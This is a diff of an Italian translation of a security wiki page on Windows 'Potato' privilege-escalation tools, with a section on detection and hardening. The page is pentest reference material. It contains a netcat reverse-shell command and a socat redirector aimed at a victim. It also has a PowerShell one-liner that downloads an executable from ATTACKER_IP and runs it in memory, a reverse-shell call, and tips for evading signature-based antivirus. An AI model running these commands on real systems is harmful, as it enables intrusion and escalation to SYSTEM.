+- EfsPotato/SharpEfsPotato abusano di MS-EFSR; se una pipe è bloccata, prova pipe alternative (lsarpc, efsrpc, samr, lsass, netlogon).
+- L'errore 0x6d3 durante RpcBindingSetAuthInfo indica tipicamente un servizio di autenticazione RPC sconosciuto/non supportato; prova una pipe/transport differente o assicurati che il servizio target sia in esecuzione.

 ## Demo rapida

@ -58,8 +59,8 @@ NULL

 ```
 Note:
- Puoi usare -i per avviare un processo interattivo nella console corrente, oppure -c per eseguire una one-liner.
- Richiede il servizio Spooler. Se disabilitato, questo fallirà.
+- Puoi usare -i per spawn un processo interattivo nella console corrente, oppure -c per eseguire un one-liner.
+- Richiede il servizio Spooler. Se è disabilitato, questo fallirà.

 ### RoguePotato
 ```bash
@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
 # In some old versions you need to use the "-f" param
 c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
 ```
-Se la porta 135 in uscita è bloccata, pivot l'OXID resolver tramite socat sul tuo redirector:
+Se la porta 135 in uscita è bloccata, pivot the OXID resolver via socat sul tuo redirector:
 ```bash
 # On attacker redirector (must listen on TCP/135 and forward to victim:9999)
 socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@ -129,7 +130,7 @@ Note:

 ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)

-DCOMPotato fornisce due varianti che prendono di mira gli oggetti DCOM dei servizi che per impostazione predefinita usano RPC_C_IMP_LEVEL_IMPERSONATE. Compila o usa i binari forniti ed esegui il tuo comando:
+DCOMPotato fornisce due varianti che prendono di mira gli oggetti DCOM di servizio che per impostazione predefinita utilizzano RPC_C_IMP_LEVEL_IMPERSONATE. Compila o usa i binaries forniti ed esegui il tuo comando:
 ```cmd
 # PrinterNotify variant
 PrinterNotifyPotato.exe "cmd /c whoami"
@ -139,7 +140,7 @@ McpManagementPotato.exe "cmd /c whoami"
 ```
 ### SigmaPotato (fork aggiornato di GodPotato)

-SigmaPotato aggiunge funzionalità moderne come in-memory execution tramite .NET reflection e un PowerShell reverse shell helper.
+SigmaPotato aggiunge funzionalità moderne come in-memory execution via .NET reflection e un PowerShell reverse shell helper.
 ```powershell
 # Load and execute from memory (no disk touch)
 [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@ -148,13 +149,13 @@ SigmaPotato aggiunge funzionalità moderne come in-memory execution tramite .NET
 # Or ask it to spawn a PS reverse shell
 [SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
 ```
-## Note sul rilevamento e sull'hardening
+## Note di rilevamento e hardening

- Monitorare i processi che creano named pipes e che invocano immediatamente token-duplication APIs seguite da CreateProcessAsUser/CreateProcessWithTokenW. Sysmon può fornire telemetria utile: Event ID 1 (process creation), 17/18 (named pipe created/connected), e command line che generano processi figlio come SYSTEM.
- Spooler hardening: Disabilitare il Print Spooler service sui server dove non è necessario previene coercizioni locali in stile PrintSpoofer tramite spoolss.
- Service account hardening: Minimizzare l'assegnazione di SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege ai servizi custom. Valutare l'esecuzione dei servizi sotto virtual accounts con i privilegi minimi necessari e il loro isolamento tramite service SID e write-restricted tokens quando possibile.
- Network controls: Bloccare il traffico outbound TCP/135 o limitare il traffico dell'RPC endpoint mapper può interrompere RoguePotato a meno che non sia disponibile un redirector interno.
- EDR/AV: Tutti questi strumenti sono ampiamente rilevabili tramite firme. Ricompilare dai sorgenti, rinominare simboli/stringhe o usare l'esecuzione in-memory può ridurre il rilevamento ma non sconfiggerà robuste rilevazioni basate sul comportamento.
+- Monitora i processi che creano named pipes e che chiamano immediatamente API di duplicazione del token seguite da CreateProcessAsUser/CreateProcessWithTokenW. Sysmon può fornire telemetria utile: Event ID 1 (process creation), 17/18 (named pipe created/connected) e le linee di comando che generano processi figli come SYSTEM.
+- Spooler hardening: Disabilitare il servizio Print Spooler sui server dove non è necessario evita coercizioni locali in stile PrintSpoofer tramite spoolss.
+- Service account hardening: Minimizzare l'assegnazione di SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege ai servizi custom. Valutare l'esecuzione dei servizi sotto account virtuali con i privilegi minimi necessari e isolarli con service SID e write-restricted tokens quando possibile.
+- Controlli di rete: Bloccare il traffico TCP/135 in uscita o limitare il traffico dell'RPC endpoint mapper può rompere RoguePotato a meno che non sia disponibile un redirector interno.
+- EDR/AV: Tutti questi tool sono ampiamente signatured. Ricompilarli dal sorgente, rinominare simboli/stringhe o usare l'esecuzione in-memory può ridurre il rilevamento ma non sconfiggerà robuste rilevazioni comportamentali.

 ## Riferimenti

@ -167,5 +168,7 @@ SigmaPotato aggiunge funzionalità moderne come in-memory execution tramite .NET
 - [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
 - [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
 - [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
+- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
+- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)

 {{#include ../../banners/hacktricks-training.md}}